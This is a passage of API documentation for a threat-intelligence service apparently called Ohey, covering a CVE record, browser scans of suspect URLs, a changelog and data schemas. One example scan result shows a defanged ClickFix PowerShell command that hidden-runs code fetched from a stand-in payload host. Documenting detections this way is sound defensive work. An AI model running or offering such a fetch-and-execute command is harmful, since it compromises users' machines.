},
{
"vendor": "Palo Alto Networks",
"product": "PAN-OS"
},
{
"vendor": "Palo Alto Networks",
"product": "Prisma Access"
}
],
"cvss": {
"score": 10,
"severity": "critical",
"version": "3.1",
"source": "CNA",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
},
"epss": {
"score": 0.99999,
"percentile": 1,
"date": "2026-10-06T12:00:23Z"
},
"kev": {
"added": "2024-04-12",
"due": "2024-04-19",
"ransomware": true
},
"exploited": true
},
"sources": [
{
"source": "kev",
"id": "CVE-2024-3400",
"url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
"modifiedAt": "2024-04-12T00:00:00Z",
"record": {
"cveID": "CVE-2024-3400",
"vendorProject": "Palo Alto Networks",
"knownRansomwareCampaignUse": "Known"
}
}
]
}
400: A parameter is invalid. Body: Error.
401: The key is missing, revoked or its account is not TI. Body: Error.
404: Ohey has no record of this CVE.
Schema: Error, under Schemas below.
Example:
{
"error": "Not found"
}
429: Over 120 requests a minute for this key or address. Body: Error.
Scans
Headed browser scans of a URL. POST /v1/scans returns an id; poll GET /v1/scans/{id} until status is complete or failed, which usually takes one to three minutes. The summary and the full result stay available for about ten minutes after the scan completes, so fetch the detail and any response bodies in that time. Scan ids are random, and only the account that started a scan can read it. Each account can start two scans a minute, shared with the portal.
Start a scan
POST /v1/scans
Loads the URL in the scanner the way the portal scanner does, archives the capture and records any YARA hits in the feed. A bare host name or IP address is scanned over HTTPS. Private and local addresses are refused.
Request body
Required.
url (string, required, up to 2048 characters): The URL, host name or IP address to scan.
Example:
{
"url": "compromised.example"
}
Responses
202: The scan has started.
id (string, required, pattern ^[a-f0-9]{64}$)
status (string, required, one of pending)
Example:
{
"id": "3f2b8c1d9e0a7f6b5c4d3e2f1a0b9c8d7e6f5a4b3c2d1e0f9a8b7c6d5e4f3a2b",
"status": "pending"
}
400: A parameter is invalid. Body: Error.
401: The key is missing, revoked or its account is not TI. Body: Error.
413: The request body is over 8 KB.
Schema: Error, under Schemas below.
Example:
{
"error": "Request too large"
}
415: The body is not JSON.
Schema: Error, under Schemas below.
Example:
{
"error": "JSON required"
}
429: Over 120 requests a minute for this key or address, or over two scans a minute for this account, counted with the portal. Only the scan limit sends Retry-After.
Header Retry-After, for example 60.
Schema: Error, under Schemas below.
Example:
{
"error": "You can start 2 scans a minute. Try again in 42 seconds."
}
503: No scanner slot is free. Retry after the number of seconds in Retry-After.
Header Retry-After, for example 30.
Schema: Error, under Schemas below.
Example:
{
"error": "The scanner is busy. Try again shortly."
}
Get a scan result
GET /v1/scans/{id}
The scan's status and, once complete, a summary: whether the page is malicious, what it hit, the commands and clipboard writes it tried to plant, suspected C2 and vulnerable software. Empty fields are omitted.
Parameters
| Name |
In |
Required |
Type |
Description |
id |
path |
yes |
string |
The scan id from POST /v1/scans. (pattern ^[a-f0-9]{64}$) |
Responses
200: The scan result.
Schema: ScanResult, under Schemas below.
Example:
{
"id": "3f2b8c1d9e0a7f6b5c4d3e2f1a0b9c8d7e6f5a4b3c2d1e0f9a8b7c6d5e4f3a2b",
"url": "compromised.example",
"status": "complete",
"finalUrl": "https://compromised.example/",
"httpStatus": 200,
"outcome": "confirmed",
"malicious": true,
"families": ["bwpanel"],
"tags": ["clickfix", "etherhiding", "compromised", "yarahit"],
"campaigns": [],
"hits": [
{
"rule": "clickfix_etherhiding_fake_captcha_overlay",
"alert": "ClickFix fake CAPTCHA overlay",
"description": "Detects Etherhiding ClickFix loaders that resolve a remote landing and place it in a clipboard-enabled overlay with telemetry",
"family": "bwpanel",
"siteRole": "compromised",
"severity": "high",
"tags": ["clickfix", "etherhiding"],
"urls": ["https://compromised.example/wp-content/uploads/loader.js"]
}
],
"commands": [
{
"command": "powershell -w h -c \"iex(irm hxxps://payload[.]example/a)\"",
"urls": ["https://payload.example/a"],
"rule": "clickfix_etherhiding_fake_captcha_overlay",
"foundIn": "runtime"
}
],
"clipboardWrites": [
{
"origin": "https://compromised.example",
"text": "powershell -w h -c ...",
"decodedUrls": ["https://payload.example/a"],
"truncated": false
}
],
"c2": [],
"vulnerabilities": [
{
"component": "elementor-pro",
"version": "3.24.2",
"title": "WordPress Elementor Pro plugin <= 4.2.1 - Arbitrary File Upload vulnerability",
"cve": "CVE-2026-32475",
"remediation": "Update the WordPress Elementor Pro Plugin to the latest available version (at least 4.2.2).",
"patched": ["4.2.2"]
}
],
"vulnerabilitiesChecked": true,
"vulnerabilitiesPending": false,
"startedAt": "2026-10-08T01:00:00Z",
"durationMs": 61000,
"captureId": 1001,
"expiresAt": "2026-10-08T01:12:00Z"
}
401: The key is missing, revoked or its account is not TI. Body: Error.
404: No scan with this id for your account.
Schema: Error, under Schemas below.
Example:
{
"error": "Scan not found"
}
429: Over 120 requests a minute for this key or address. Body: Error.
Get the full scan detail
GET /v1/scans/{id}/detail
Everything the portal scanner shows, as the scanner produces it: URL, Pending, Error, ExpiresAt and Result with ThreatMatches, Commands, ClipboardWrites, RedirectChain, NetworkActivity, CapturedResponses, RuntimeStages, WordPress*, Cookies, ResponseHeaders, FrameEvents, Scan and a PNG ScreenshotBase64. Field names follow the scanner and may gain fields; the summary route is the stable contract.
Parameters
| Name |
In |
Required |
Type |
Description |
id |
path |
yes |
string |
The scan id from POST /v1/scans. (pattern ^[a-f0-9]{64}$) |
Responses
200: The scan as the scanner reports it.
Schema: object with any fields.
401: The key is missing, revoked or its account is not TI. Body: Error.
404: No scan with this id for your account.
Schema: Error, under Schemas below.
Example:
{
"error": "Scan not found"
}
429: Over 120 requests a minute for this key or address. Body: Error.
Download a scanned response body
GET /v1/scans/{id}/responses/{sequence}
Downloads one archived response from the scan as an attachment. sequence is Result.CapturedResponses[].Sequence from the detail, for entries with BodyAvailable. Bodies can be live malicious code: handle them as samples.
Parameters
| Name |
In |
Required |
Type |
Description |
id |
path |
yes |
string |
The scan id from POST /v1/scans. (pattern ^[a-f0-9]{64}$) |
sequence |
path |
yes |
integer |
(1 to 100000) |
Responses
200: The response body.
Content type application/octet-stream.
Schema: binary string.
401: The key is missing, revoked or its account is not TI. Body: Error.
404: No such scan or response for your account.
Schema: Error, under Schemas below.
Example:
{
"error": "Response unavailable"
}
429: Over 120 requests a minute for this key or address. Body: Error.
Changes
Every change to the API and MCP server a client can see, newest first. GET /v1/changelog returns the same list as JSON.
2026-11-16
GET /v1/labels lists the families and tags the feed holds, with how many hosts carry each and their aliases: the values the tag and family filters take. The list_labels MCP tool reads it.
tag and family filters on /v1/indicators, /v1/changes and TAXII take any alias of a name, such as fakeupdates for socgholish, in any case, and names with spaces such as inferno drainer. A filter saved on a family's old name keeps working after a rename or merge.
GET /v1/delisted no longer returns families and tags. Removed hosts that were in the feed keep them on GET /v1/changes and in TAXII.
GET /v1/changes also lists hosts whose roles, families or tags changed while they stayed in the feed, as changed with their feed row. Changes are ordered by the hourly build that published them, so a pull from the asOf of the last one misses none. TAXII gives such a host a new indicator version.
GET /v1/changes?since= lists the hosts added to and removed from the feed since a time, added hosts with their feed row and removed hosts with the reason, so a copy stays current with one request a day. The list_changes MCP tool reads it.
GET /v1/indicators and GET /v1/delisted take limit up to 5,000, so the whole feed comes down in a fifth of the requests. Pages still hold 1,000 rows when limit is left out.
2026-11-14
POST /v1/hosts looks up to 100 hosts in one request, each with its host profile and its capture listing in captureList. Hosts not in the feed come back in missing instead of as errors. The reference's new Keeping a copy section shows how to keep a copy current with TAXII added_after and this route.
2026-11-13
GET /v1/contracts has dnsNames: the DNS TXT names kits read their next host from instead of a contract, with the hosts each names now and its history.
2026-11-12
GET /v1/contracts has asOf, and each contract lastChanged and history: every destination it has returned, with the first and last day we read each.
- Added
GET /v1/lists/rpz.zone: the whole feed as an RPZ zone. Resolvers can also transfer it from ns1.rpz.ohey.ca with a TSIG key enabled in the portal.
2026-11-10
- Added
GET /v1/changelog: this list.
2026-11-09
- Added
GET /v1/commands: the hosts ClickFix lure commands download from, with the kits behind each, site and URL counts, dates, and the latest payload URL and command as captured.
- Added
GET /v1/contracts: the smart contracts EtherHiding kits read, with chain, kit, the hosts each returns now and how many feed sites called it.
GET /v1/hosts/{host} has commands, contracts and sites: the lure commands captured on a site and the contracts its page called, or the feed sites whose lure downloads from a payload host.
- MCP: added the
list_payload_hosts and list_contracts tools.
2026-11-04
- MCP:
https://ohey.ca/mcp serves the API as tools for AI agents, with OAuth sign-in.
2026-10-20
POST /v1/scans no longer takes referer.
2026-10-12
GET /v1/delisted filters by status, everListed, reasonCode and decidedBy.
2026-10-11
- Added the feed as STIX 2.1 over TAXII 2.1, and four plain-text host lists for C2 and distribution domains and IPs. Both accept HTTP Basic authentication with the key as the password.
- Feed rows and host profiles have
reason and decidedBy.
- Delisted rows have
everListed, decidedBy, reasonCode, feedTypes, families and tags, and the reason code expired for IPs with no evidence for 30 days.
2026-10-09
- WordPress components in the vulnerability routes have
current and directory, the release and directory state wordpress.org lists today. GET /v1/vulnerabilities/{id} has wordpress for a CVE that affects WordPress.
2026-10-07
- The API opened with the feed, delisted hosts, host profiles, captures and response downloads, the vulnerability catalog and headed scans.
List API changes
GET /v1/changelog
The changes listed above, newest first.
Responses
200: The changes.
data (array of object, required)
date (date string, required)
changes (array of string, required)
Example:
{
"data": [
{
"date": "2026-11-16",
"changes": ["`GET /v1/labels` lists the families and tags the feed holds, with how many hosts carry each and their aliases: the values the `tag` and `family` filters take. The `list_labels` MCP tool reads it.", "`tag` and `family` filters on `/v1/indicators`, `/v1/changes` and TAXII take any alias of a name, such as `fakeupdates` for `socgholish`, in any case, and names with spaces such as `inferno drainer`. A filter saved on a family's old name keeps working after a rename or merge.", "`GET /v1/delisted` no longer returns `families` and `tags`. Removed hosts that were in the feed keep them on `GET /v1/changes` and in TAXII.", "`GET /v1/changes` also lists hosts whose roles, families or tags changed while they stayed in the feed, as `changed` with their feed row. Changes are ordered by the hourly build that published them, so a pull from the `asOf` of the last one misses none. TAXII gives such a host a new indicator version.", "`GET /v1/changes?since=` lists the hosts added to and removed from the feed since a time, added hosts with their feed row and removed hosts with the reason, so a copy stays current with one request a day. The `list_changes` MCP tool reads it.", "`GET /v1/indicators` and `GET /v1/delisted` take `limit` up to 5,000, so the whole feed comes down in a fifth of the requests. Pages still hold 1,000 rows when `limit` is left out."]
}
]
}
401: The key is missing, revoked or its account is not TI. Body: Error.
429: Over 120 requests a minute for this key or address. Body: Error.
Schemas
Error
error (string, required)
docs (uri string): Where to read the API reference. Sent with 401, and with 404 for an unknown path.
TaxiiError
title (string, required)
description (string, required)
TaxiiDiscovery
title (string, required)
description (string)
default (uri string, required)
api_roots (array of uri string, required)
TaxiiRoot
title (string, required)
description (string)
versions (array of string, required)
max_content_length (integer, required)
TaxiiCollection
id (string, required)
title (string, required)
description (string)
can_read (boolean, required)
can_write (boolean, required)
media_types (array of string)
StixIndicator
type (string, required, one of indicator)
spec_version (string, required, one of 2.1)
id (string, required)
created (date-time string, required)
modified (date-time string, required)
revoked (boolean)
labels (array of string)
indicator_types (array of string, required)
pattern (string, required)
pattern_type (string, required, one of stix)
valid_from (date-time string, required)
TaxiiEnvelope
more (boolean)
next (string)
objects (array of StixIndicator)
Indicator
One host in the feed. Network fields hold the distinct values across the host's resolved IP addresses.
host (string, required): Host name or IP address.
reason (string, required): One plain-language sentence naming the evidence that admitted the host. An analyst admission uses the analyst's acceptance note, with URLs and hostnames defanged.
decidedBy (string, required, one of automated, analyst): Whether automation or an analyst admitted the host.
feedTypes (array of string): c2 or distribution.
families (array of string): Malware families and campaigns.
tags (array of string)
infraTypes (array of string): Network type of each resolved IP, for example hosting or isp.
countries (array of string): ISO country codes.
asns (array of integer)
asOrgs (array of string)
resolvedIps (array of string)
ports (array of integer)
sha256Samples (array of string): Up to five related sample hashes.
dnsStatus (string or null): For example live or nxdomain.
passiveDnsHits (integer or null)
trancoRank (integer or null)
firstSeen (date-time string or null)
lastSeen (date-time string or null)
addedAt (date-time string): When the indicator was added to the feed.
FeedHostChange
change (string, required, one of added, changed): added when the host entered the feed after since; changed when it was already in the feed and its feedTypes, families or tags changed.
And every field of Indicator, under Schemas below.
Label
name (string, required)
hosts (integer, required): Feed hosts that carry this family or tag.
aliases (array of string, required): Other names the registry maps to this one, such as a family's old name after a rename or merge. A filter on an alias matches this label.
RemovedHost
change (string, required, one of removed)
host (string, required)
removedAt (date-time string, required): When the hourly build took the host out of the feed.
reason (string, required): The removal note, with links and domains defanged.
reasonCode (string, required, one of remediated, legitimate, generated, alias, malformed, expired, analyst): As on Delisting.
decidedBy (string, required, one of automated, analyst)
feedTypes (array of string, required)
families (array of string, required): As the feed held them when the host left.
tags (array of string, required): As the feed held them when the host left.
Delisting
-
host (string, required)
-
status (string, required, one of denied, removed)
-
reason (string, required): The recorded note, with links and domains defanged (hxxps://, example[.]com).
-
delistedAt (date-time string, required)
-
everListed (boolean, required): True when transition history shows the host entered or left the accepted feed.
-
decidedBy (string, required, one of automated, analyst): Whether an analyst or automation made this delisting decision. Analysts' bulk removals from the review queue count as analyst.
-
reasonCode (string, required, one of remediated, legitimate, generated, alias, malformed, expired, analyst): Stable machine-readable reason.
-
remediated: A current review found no malicious behaviour at the host.
-
legitimate: Review confirmed the host is a legitimate service.
-
generated: Malware generated the name without identifying operated threat infrastructure.
-
alias: The host was merged into its canonical apex or exact www decision.
-
malformed: The value is not a valid host or IP indicator.
-
expired: The IP had no evidence for 30 days; IP listings expire.
-
analyst: An analyst reviewed this host individually; reason holds the detail.
-
feedTypes (array of string, required): Feed classifications recorded at the delisting transition.
HostProfile
host (string, required)
indicator (Indicator, required)
vulnerabilities (array of SoftwareFinding, required): Affected software found in the latest capture.
captures (object, required)
count (integer)
firstAt (date-time string or null)
latestAt (date-time string or null)
rules (array of string): YARA rules that matched any of the captures.
dns (array of object, required): The latest DNS answer.
name (string)
type (string): Record type, for example A, MX or NS.
section (string, one of answer, authority, additional)
values (array of string)
ttl (integer)
checkedAt (date-time string)
commands (array of object, required): Up to 20 lure commands captured on this host, newest first, exactly as copied. These are live attacker commands.
command (string, required)
urls (array of string, required): Payload URLs decoded from the command.
seenAt (date-time string, required)
contracts (array of object, required): Up to 20 smart contracts this host's captured page called, newest first.
address (string, required)
selector (string, required)
chain (string or null, required): null for a contract Ohey does not read daily.
kit (string or null, required)
seenAt (date-time string, required)
sites (array of object, required): Up to 100 feed hosts whose captured lure command downloads from this host, newest first.
host (string, required)
seenAt (date-time string, required)
PayloadHost
host (string, required): The payload host. *.domain when the domain hands out a new subdomain on every visit.
kits (array of string, required): Kits on at least half the sites whose command used this host.
sites (integer, required): Sites whose captured command used this host.
urls (integer, required): Distinct payload URLs on this host.
firstSeen (date string, required)
lastSeen (date string, required)
url (string, required): The latest payload URL.
command (string, required): The latest command, as captured.
Contract
chain (string, required)
chainId (integer, required)
address (string, required): Lowercase.
kit (string, required)
destinations (array of string, required): Hosts the contract returns now.
nextHops (array of string, required): Contracts this one points to instead of a host.
noDestination (string, one of flag, no-code, empty, no-host): Present when the latest read held no host: flag is a yes/no check the lure reads, no-code means no contract is deployed at the address, empty that its stored value is empty, no-host that it returns text with no host in it.
firstSeen (date string, required)
lastRead (date string, required)
sites (integer, required): Feed hosts whose captured page called this contract.
lastChanged (string, required): The day its destination last changed; empty before the snapshot has the contract.
history (array of object, required): Every destination it has returned.
destination (string, required)
firstSeen (date string, required)
lastSeen (date string, required)
DnsName
name (string, required): The TXT name the kit looks up.
kit (string, required)
state (string, required, one of resolved, nxdomain, sentinel, error): The latest read: resolved named a host, nxdomain found no such name, sentinel returned a placeholder that names no host, error failed to read.
destinations (array of string, required): Hosts the record names now.
firstSeen (string, required): The day it first named a host; empty if it never has.
lastRead (date string, required)
lastChanged (string, required): The day the hosts it names last changed; empty if it never named one.
history (array of object, required): Every host it has named.
destination (string, required)
firstSeen (date string, required)
lastSeen (date string, required)
SoftwareFinding
component (string, required)
version (string, required)
title (string, required)
cve (string)
remediation (string)
patched (array of string)
Capture
id (integer, required)
startedAt (date-time string, required)
inputUrl (string)
finalUrl (string)
httpStatus (integer)
rules (array of object)
name (string)
description (string)
commands (array of string): Lure commands extracted from the page.
responses (array of object, required): Downloadable responses.
seq (integer)
url (string)
type (string, one of Script, Document)
httpStatus (integer)
sha256 (string)
VulnerabilityPage
data (array of Vulnerability, required)
next (string or null, required)
Vulnerability
id (string, required)
published (date-time string, required)
updated (date-time string)
title (string)
description (string)
assigner (string)
products (array of object, required)
vendor (string)
product (string)
cvss (object or null, required): The CNA's score when it publishes one, then CISA's, then NVD's.
score (number)
severity (string)
version (string)
source (string)
vector (string)
epss (object or null, required)
score (number)
percentile (number)
date (string)
kev (object or null, required): CISA Known Exploited Vulnerabilities entry.
added (string)
due (string)
ransomware (boolean)
exploited (boolean, required): CISA's assessment of active exploitation.
wordpress (array of WordPressComponent): On the WordPress list, and on a single CVE that affects WordPress; absent otherwise. To decide what to do for an installed version: find its component, test the version against ranges; if it falls inside one and directory is closed, remove the component; otherwise update to the highest fixed the ranges state, or to current when that release falls outside every range. current is null for components the directory does not list.
WordPressComponent
component (string, required): plugin:<slug>, theme:<slug> or core:wordpress.
current (string or null, required): The release wordpress.org lists today, for core the current WordPress release; null when the entry has no parseable version.
directory (string, required, one of open, closed, absent): open: listed in the directory. closed: wordpress.org closed it, so no further fixes will come. absent: not in the directory.
ranges (array of object, required)
Either from and to (exclusive unless fromExclusive or toInclusive say otherwise; no from means from the first version) or one exact version, and the first fixed version.
from (string)
fromExclusive (boolean)
to (string)
toInclusive (boolean)
exact (string)
fixed (string)
fixedInferred (boolean): The fix is implied by the exclusive upper bound rather than stated by the source.
ScanResult
While status is pending only id, url and status are present; when failed, error and expiresAt are added. Empty values are omitted.
id (string, required)
url (string, required)
status (string, required, one of pending, complete, failed)
error (string): Why the scan failed, or a scan-level note on a complete scan.
finalUrl (string)
httpStatus (integer)
outcome (string, one of confirmed, clean, http_error, error)
malicious (boolean): outcome is confirmed.
families (array of string)
tags (array of string): The same labels the feed uses, derived from the hits.
campaigns (array of string)
hits (array of object)
rule (string)
alert (string)
description (string)
family (string)
siteRole (string)
severity (string)
tags (array of string)
urls (array of string)
commands (array of object)
command (string)
urls (array of string)
rule (string)
foundIn (string)
clipboardWrites (array of object)
origin (string)
text (string)
decodedUrls (array of string)
truncated (boolean)
c2 (array of object): Suspected command and control hosts the page contacted.
host (string)
ports (array of integer)
commandUrls (array of string)
inFeed (boolean)
families (array of string)
tags (array of string)
vulnerabilities (array of SoftwareFinding)
vulnerabilitiesChecked (boolean)
vulnerabilitiesPending (boolean): The software check had not finished when the scan completed.
vulnerabilitiesError (string)
startedAt (date-time string)
durationMs (integer)
incomplete (string): Why the capture was cut short, when it was.
captureId (integer): The archived capture; its host appears under /v1/hosts/{host}/captures once in the feed.
expiresAt (date-time string): When the result is dropped.
SourceRecord
source (string, required)
id (string, required)
url (string, required)
modifiedAt (date-time string or null)
record (object, required): The record as published by its source.